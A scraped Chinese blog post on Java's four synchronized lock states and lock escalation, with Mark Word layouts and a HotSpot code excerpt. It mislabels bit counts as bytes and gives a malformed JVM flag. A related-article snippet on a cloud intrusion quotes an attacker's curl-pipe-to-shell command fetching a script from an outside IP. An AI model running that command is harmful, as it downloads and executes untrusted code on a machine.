锁的四种状态及升级过程

2023-11-09

锁的四种状态与锁升级过程 图文详解

一、前言

锁的状态总共有四种,级别由低到高依次为:无锁、偏向锁、轻量级锁、重量级锁,这四种锁状态分别代表什么,为什么会有锁升级?其实在 JDK 1.6之前,synchronized 还是一个重量级锁,是一个效率比较低下的锁,但是在JDK 1.6后,Jvm为了提高锁的获取与释放效率对(synchronized )进行了优化,引入了 偏向锁 和 轻量级锁 ,从此以后锁的状态就有了四种(无锁、偏向锁、轻量级锁、重量级锁),并且四种状态会随着竞争的情况逐渐升级,而且是不可逆的过程,即不可降级,也就是说只能进行锁升级(从低级别到高级别),不能锁降级(高级别到低级别),意味着偏向锁升级成轻量级锁后不能降级成偏向锁。这种锁升级却不能降级的策略,目的是为了提高获得锁和释放锁的效率。

二、锁的四种状态

在 synchronized 最初的实现方式是 “阻塞或唤醒一个Java线程需要操作系统切换CPU状态来完成,这种状态切换需要耗费处理器时间,如果同步代码块中内容过于简单,这种切换的时间可能比用户代码执行的时间还长”,这种方式就是 synchronized实现同步最初的方式,这也是当初开发者诟病的地方,这也是在JDK6以前 synchronized效率低下的原因,JDK6中为了减少获得锁和释放锁带来的性能消耗,引入了“偏向锁”和“轻量级锁”。

所以目前锁状态一种有四种,从级别由低到高依次是:无锁、偏向锁,轻量级锁,重量级锁,锁状态只能升级,不能降级

如图所示:
在这里插入图片描述

三、锁状态的思路以及特点

锁状态 存储内容 标志位
无锁 对象的hashCode、对象分代年龄、是否是偏向锁(0) 01
偏向锁 偏向线程ID、偏向时间戳、对象分代年龄、是否是偏向锁(1) 01
轻量级锁 指向栈中锁记录的指针 00
重量级锁 指向互斥量的指针 11

四、锁对比

优点 缺点 适用场景
偏向锁 加锁和解锁不需要额外的消耗,和执行非同步方法相比仅存在纳秒级的差距 如果线程间存在锁竞争,会带来额外的锁撤销的消耗 适用于只有一个线程访问同步块场景
轻量级锁 竞争的线程不会阻塞,提高了程序的响应速度 如果始终得不到索竞争的线程,使用自旋会消耗CPU 追求响应速度,同步块执行速度非常快
重量级锁 线程竞争不使用自旋,不会消耗CPU 线程阻塞,响应时间缓慢 追求吞吐量,同步块执行速度较慢

五、Synchronized锁

synchronized 用的锁是存在Java对象头里的,那么什么是对象头呢?

5.1 Java 对象头

我们以 Hotspot 虚拟机为例,Hopspot 对象头主要包括两部分数据:Mark Word(标记字段) 和 Klass Pointer(类型指针)

Mark Word:默认存储对象的HashCode,分代年龄和锁标志位信息。这些信息都是与对象自身定义无关的数据,所以Mark Word被设计成一个非固定的数据结构以便在极小的空间内存存储尽量多的数据。它会根据对象的状态复用自己的存储空间,也就是说在运行期间Mark Word里存储的数据会随着锁标志位的变化而变化。

Klass Point:对象指向它的类元数据的指针,虚拟机通过这个指针来确定这个对象是哪个类的实例。

在上面中我们知道了,synchronized 用的锁是存在Java对象头里的,那么具体是存在对象头哪里呢?答案是:存在锁对象的对象头的Mark Word中,那么MarkWord在对象头中到底长什么样,它到底存储了什么呢?

在64位的虚拟机中:
在这里插入图片描述
在32位的虚拟机中:
在这里插入图片描述

下面我们以 32位虚拟机为例,来看一下其 Mark Word 的字节具体是如何分配的

无锁:对象头开辟 25bit 的空间用来存储对象的 hashcode ,4bit 用于存放对象分代年龄,1bit 用来存放是否偏向锁的标识位,2bit 用来存放锁标识位为01

偏向锁: 在偏向锁中划分更细,还是开辟 25bit 的空间,其中23bit 用来存放线程ID,2bit 用来存放 Epoch,4bit 存放对象分代年龄,1bit 存放是否偏向锁标识, 0表示无锁,1表示偏向锁,锁的标识位还是01

轻量级锁:在轻量级锁中直接开辟 30bit 的空间存放指向栈中锁记录的指针,2bit 存放锁的标志位,其标志位为00

重量级锁: 在重量级锁中和轻量级锁一样,30bit 的空间用来存放指向重量级锁的指针,2bit 存放锁的标识位,为11

GC标记: 开辟30bit 的内存空间却没有占用,2bit 空间存放锁标志位为11。

其中无锁和偏向锁的锁标志位都是01,只是在前面的1bit区分了这是无锁状态还是偏向锁状态

关于内存的分配,我们可以在git中openJDK中 markOop.hpp 可以看出:

public:
  // Constants
  enum { age_bits                 = 4,
         lock_bits                = 2,
         biased_lock_bits         = 1,
         max_hash_bits            = BitsPerWord - age_bits - lock_bits - biased_lock_bits,
         hash_bits                = max_hash_bits > 31 ? 31 : max_hash_bits,
         cms_bits                 = LP64_ONLY(1) NOT_LP64(0),
         epoch_bits               = 2
  };
  • age_bits: 就是我们说的分代回收的标识,占用4字节
  • lock_bits: 是锁的标志位,占用2个字节
  • biased_lock_bits: 是是否偏向锁的标识,占用1个字节
  • max_hash_bits: 是针对无锁计算的hashcode 占用字节数量,如果是32位虚拟机,就是 32 - 4 - 2 -1 = 25 byte,如果是64 位虚拟机,64 - 4 - 2 - 1 = 57 byte,但是会有 25 字节未使用,所以64位的 hashcode 占用 31 byte
  • hash_bits: 是针对 64 位虚拟机来说,如果最大字节数大于 31,则取31,否则取真实的字节数
  • cms_bits: 不是64位虚拟机就占用 0 byte,是64位就占用 1byte
  • epoch_bits: 就是 epoch 所占用的字节大小,2字节。

5.2 Monitor

Monitor 可以理解为一个同步工具或一种同步机制,通常被描述为一个对象。每一个 Java 对象就有一把看不见的锁,称为内部锁或者 Monitor 锁。

Monitor 是线程私有的数据结构,每一个线程都有一个可用 monitor record 列表,同时还有一个全局的可用列表。每一个被锁住的对象都会和一个 monitor 关联,同时 monitor 中有一个 Owner 字段存放拥有该锁的线程的唯一标识,表示该锁被这个线程占用。

Synchronized是通过对象内部的一个叫做监视器锁(monitor)来实现的,监视器锁本质又是依赖于底层的操作系统的 Mutex Lock(互斥锁)来实现的。而操作系统实现线程之间的切换需要从用户态转换到核心态,这个成本非常高,状态之间的转换需要相对比较长的时间,这就是为什么 Synchronized 效率低的原因。因此,这种依赖于操作系统 Mutex Lock 所实现的锁我们称之为重量级锁。

随着锁的竞争,锁可以从偏向锁升级到轻量级锁,再升级的重量级锁(但是锁的升级是单向的,也就是说只能从低到高升级,不会出现锁的降级)。JDK 1.6中默认是开启偏向锁和轻量级锁的,我们也可以通过-XX:-UseBiasedLocking=false来禁用偏向锁。

六、锁的分类

6.2 无锁

无锁是指没有对资源进行锁定,所有的线程都能访问并修改同一个资源,但同时只有一个线程能修改成功。

无锁的特点是修改操作会在循环内进行,线程会不断的尝试修改共享资源。如果没有冲突就修改成功并退出,否则就会继续循环尝试。如果有多个线程修改同一个值,必定会有一个线程能修改成功,而其他修改失败的线程会不断重试直到修改成功。

6.3 偏向锁

初次执行到synchronized代码块的时候,锁对象变成偏向锁(通过CAS修改对象头里的锁标志位),字面意思是“偏向于第一个获得它的线程”的锁。执行完同步代码块后,线程并不会主动释放偏向锁。当第二次到达同步代码块时,线程会判断此时持有锁的线程是否就是自己(持有锁的线程ID也在对象头里),如果是则正常往下执行。由于之前没有释放锁,这里也就不需要重新加锁。如果自始至终使用锁的线程只有一个,很明显偏向锁几乎没有额外开销,性能极高。

偏向锁是指当一段同步代码一直被同一个线程所访问时,即不存在多个线程的竞争时,那么该线程在后续访问时便会自动获得锁,从而降低获取锁带来的消耗,即提高性能。

当一个线程访问同步代码块并获取锁时,会在 Mark Word 里存储锁偏向的线程 ID。在线程进入和退出同步块时不再通过 CAS 操作来加锁和解锁,而是检测 Mark Word 里是否存储着指向当前线程的偏向锁。轻量级锁的获取及释放依赖多次 CAS 原子指令,而偏向锁只需要在置换 ThreadID 的时候依赖一次 CAS 原子指令即可。

偏向锁只有遇到其他线程尝试竞争偏向锁时,持有偏向锁的线程才会释放锁,线程是不会主动释放偏向锁的。

关于偏向锁的撤销,需要等待全局安全点,即在某个时间点上没有字节码正在执行时,它会先暂停拥有偏向锁的线程,然后判断锁对象是否处于被锁定状态。如果线程不处于活动状态,则将对象头设置成无锁状态,并撤销偏向锁,恢复到无锁(标志位为01)或轻量级锁(标志位为00)的状态。

6.4 轻量级锁(自旋锁)

在这里插入图片描述

轻量级锁是指当锁是偏向锁的时候,却被另外的线程所访问,此时偏向锁就会升级为轻量级锁,其他线程会通过自旋(关于自旋的介绍见文末)的形式尝试获取锁,线程不会阻塞,从而提高性能。

轻量级锁的获取主要由两种情况:
① 当关闭偏向锁功能时;
② 由于多个线程竞争偏向锁导致偏向锁升级为轻量级锁。

一旦有第二个线程加入锁竞争,偏向锁就升级为轻量级锁(自旋锁)。这里要明确一下什么是锁竞争:如果多个线程轮流获取一个锁,但是每次获取锁的时候都很顺利,没有发生阻塞,那么就不存在锁竞争。只有当某线程尝试获取锁的时候,发现该锁已经被占用,只能等待其释放,这才发生了锁竞争。

在轻量级锁状态下继续锁竞争,没有抢到锁的线程将自旋,即不停地循环判断锁是否能够被成功获取。获取锁的操作,其实就是通过CAS修改对象头里的锁标志位。先比较当前锁标志位是否为“释放”,如果是则将其设置为“锁定”,比较并设置是原子性发生的。这就算抢到锁了,然后线程将当前锁的持有者信息修改为自己。

长时间的自旋操作是非常消耗资源的,一个线程持有锁,其他线程就只能在原地空耗CPU,执行不了任何有效的任务,这种现象叫做忙等(busy-waiting)。如果多个线程用一个锁,但是没有发生锁竞争,或者发生了很轻微的锁竞争,那么synchronized就用轻量级锁,允许短时间的忙等现象。这是一种折衷的想法,短时间的忙等,换取线程在用户态和内核态之间切换的开销。

6.4 重量级锁

重量级锁显然,此忙等是有限度的(有个计数器记录自旋次数,默认允许循环10次,可以通过虚拟机参数更改)。如果锁竞争情况严重,某个达到最大自旋次数的线程,会将轻量级锁升级为重量级锁(依然是CAS修改锁标志位,但不修改持有锁的线程ID)。当后续线程尝试获取锁时,发现被占用的锁是重量级锁,则直接将自己挂起(而不是忙等),等待将来被唤醒。

重量级锁是指当有一个线程获取锁之后,其余所有等待获取该锁的线程都会处于阻塞状态。

简言之,就是所有的控制权都交给了操作系统,由操作系统来负责线程间的调度和线程的状态变更。而这样会出现频繁地对线程运行状态的切换,线程的挂起和唤醒,从而消耗大量的系统资

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

锁的四种状态及升级过程 的相关文章

  • QT---窗口、按钮的基本设置

    目录 一 窗口相关的设置及中文编译错误设置 1 在源文件widget cpp中进行修改数据 并创建有关界面 2 如遇中文编译错误 即标题中文显示乱码 可如下设置 3 窗口界面及标题设置 窗口是否拉伸 二 创建按钮的相关设置 1 添加头文件
  • mybatis使用resultMap自定义映射处理,处理多对一的映射关系:

    1 级联方式处理
  • UML 中九种图

    UML 中九种图 1 用例图 说明 由参与者 actor 用例 User Case 以及他们之间的关系构成 用来描述系统功能 作用 可视化表达系统需求 更直观 规范 客服纯文字说明不足 图示 2 类图 说明 类 Class 封装了数据和行为
  • 数据结构 线性表的顺序存储和链式存储,以及基本操作、单链表例题

    一 线性表的存储表示 1 顺序表 线性表的顺序表示又称为顺序表 顺序表的静态分配存储表示 线性表的静态分配顺序存储结构 typedef int ElemType typedef struct 顺序表的定义 ElemType elem LIS
  • 2023Go面试问答_Go基础

    与其他语言相比 使用 Go 有什么好处 与其他作为学术实验开始的语言不同 Go代码的设计是务实的 每个功能和语法决策都旨在让程序员的生活更轻松 Golang 针对并发进行了优化 并且在规模上运行良好 由于单一的标准代码格式 Golang 通
  • Android开发中Handler的经典总结

    一 Handler的定义 主要接受子线程发送的数据 并用此数据配合主线程更新UI 解释 当应用程序启动时 Android首先会开启一个主线程 也就是UI线程 主线程为管理界面中的UI控件 进行事件分发 比如说 你要是点击一个 Button
  • 关于Redis配置主从复制遇到的问题,从机连接到主机,主机显示的从机数量仍然为0

    问题 设置单机集群的时候 两台从机都显示连接到主机 但是主机显示连接到的从机数量为0 主机79 从机80 从机81 解决 主库master要求密码验证 因为之前配置了redis的密码 方法一 建议 在配置文件中将requirepass注释掉
  • 云计算常用命令

    云计算IAAS篇 mysql篇 mysql uroot p000000 使用root账号登录mysql use mysql 切换到mysql层 show tables 查询mysql数据库列表 select from mysql user

随机推荐

  • 记一次阿里云黑客攻击事件

    这几天服务器一直发生异常行为 阿里云报警如下 根据执行命令 bin sh c curl fsSL http 165 225 157 157 8000 i sh sh 可知道 后台某个进程一直从这个美国的IP地址下载sh可执行文件 访问这个地
  • SpringMVC:从入门到精通,7篇系列篇带你全面掌握--四.5分钟搞定文件上传与下载

    Welcome Huihui s Code World 接下来看看由辉辉所写的关于SpringMVC的相关操作吧 需要添加的依赖
  • Android Studio安装及环境配置教程

    前言 首先需要确定好电脑是否有安装java环境 即是否安装有JDK 验证方法 直接电脑桌面win R 输入cmd 然后在黑窗口中分别输入java javac javadoc java version enter键 注意是输入一个指令按一次e
  • 【前端|CSS系列第4篇】面试官:你了解居中布局吗?

    欢迎来到前端CSS系列的第4篇教程 如果你正在寻找一种简单而又强大的前端技术 以使你的网页和应用程序看起来更加专业和美观 那么居中布局绝对是你不能错过的重要知识 在前端开发中 实现居中布局是一项必备技能 无论是垂直居中 水平居中 还是同时实
  • python函数中的可变默认值

    In 27 def f a a append 5 print a In 28 P f 5 In 29 L f 5 5 函数多次调用竟然使用的用一个参数对象 请注意
  • 大数据数据库:MPP vs MapReduce

    这些年大数据概念已经成为IT界的热门 我们经常也会在新闻和报纸中看到 大数据概念中最为关键的技术就是数据库管理系统 伴随着hadoop和MapReduce技术的流行 大数据的数据库中Hive和Spark等新型数据库脱颖而出 而另一个技术流派
  • javafx服务器监控系统,用于服务器端图像生成的JavaFX

    这可能听起来很奇怪 但我想使用JavaFX在服务器端生成我的图表图像 因为JavaFX具有很好的canvas API来执行图像转换连接和定位 特别是我有一个spring MVC服务来生成我的图表作为图像 主要问题是如何从方便的Spring
  • 骚操作:c++如何用goto便捷地写人工栈?

    在如今所有NOI系列赛事已经开全栈的时势下 人工栈已经离我们很远很远 所以这博客就是我弄着玩的 首先我们要清楚的是c 的goto写法 loop goto loop 在运行到goto时 就会跳到对应的标记 标记在goto的前后都可以 然而你试
  • 以太坊的状态树 Merkle Patricia Tree

    Merkle Patricia Tree Merkle树 https www cnblogs com fengzhiwu p 5524324 html Merkle Tree 通常也被称作Hash Tree 顾名思义 就是存储hash值的一
  • 编写python代码需要注意什么,Python学习笔记三,编程时需要注意的常犯错误事项...

    在进入正式学习python编程之前 我们一起来了解一下 在python学习过程需要注意的一些常犯错误的事项 Python运行时默认的输入法 在使用python时 电脑的输入法默认状态一定要调整为英文状态 除了在输入汉字的时候将输入法调整为中
  • 简单几句话总结Unicode,UTF-8和UTF-16

    概念 先说一说基本的概念 这包括什么是Unicode 什么是UTF 8 什么是UTF 16 Unicode UTF 8 UTF 16完整的说明请参考Wiki Unicode UTF 8 UTF 16 用比较简单的话来说就是 Unicode定
  • Flink实战: 窗口TopN分析与实现

    TopN 的需求场景不管是在离线计算还是实时计算都是比较常见的 例如电商中计算热门销售商品 广告计算中点击数前N的广告 搜索中计算搜索次数前N的搜索词 topN又分为全局topN 分组topN 比喻说热门销售商品可以直接按照各个商品的销售总
  • 【K8S系列】5-K8s实战-Controllers

    K8s控制器 Controllers 官网 https kubernetes io docs concepts workloads controllers 控制器的作用是用来统一发布Pod的对象 通过yaml文件定义 运行后可以进行查看 变
  • Java面试题新二(转载)

    JAVA基础 JAVA中的几种基本类型 各占用多少字节 下图单位是bit 非字节 1B 8bit String能被继承吗 为什么 不可以 因为String类有final修饰符 而final修饰的类是不能被继承的 实现细节不允许改变 平常我们
  • 2020年aws认证一些经验 saa

    2020年2月过的aws saa考试 1 报名网址 https www aws training Certification 2 费用 150美金 需要一个visa的信用卡 3 证书有效期3年 4 考试名字要与信用卡一致 考试时要看信用卡和
  • 【机器学习基础】机器学习中必知必会的 3 种特征选取方法!

    随着深度学习的蓬勃发展 越来越多的小伙伴开始尝试搭建深层神经网络应用于工作场景中 认为只需要把数据放入模型中 调优模型参数就可以让模型利用自身机制来选择重要特征 输出较好的数据结果 在现实工作场景中 受限制数据和时间 这样的做法其实并不可取
  • PHP微信获取小程序手机号失败 -41003

    使用官方的PHP版demo解密 调用接口后返回错误码 41003 并未成功解密出想要的信息 以为是encryptedData 数据传输的时候 号会自动转换为空格 但是不是 打印了一下解密后的iv 和 encryptedData 发现是乱码
  • matlab开根号_matlab基本计算

    这里介绍的内容是使用MATLAB进行基本的数学计算 完成的是类似计算机计算数学算式的功能 这篇文章基本可以帮助你学会所有基本的matlab计算方法 1 基本计算 MATLAB中的基本的运算符号为 四则运算规则和平时使用的计算器相同 使用MA
  • C++语句 与简单方法

    语句 在c primer plus 第二章中除了讲到输出流 还提到了更多的语句 书中称之为Statement 简单看来语句有申明语句 赋值语句 调用函数的语句 下面看书上的一组例子 include
  • 锁的四种状态及升级过程

    锁的四种状态与锁升级过程 图文详解 一 前言 锁的状态总共有四种 级别由低到高依次为 无锁 偏向锁 轻量级锁 重量级锁 这四种锁状态分别代表什么 为什么会有锁升级 其实在 JDK 1 6之前 synchronized 还是一个重量级锁 是一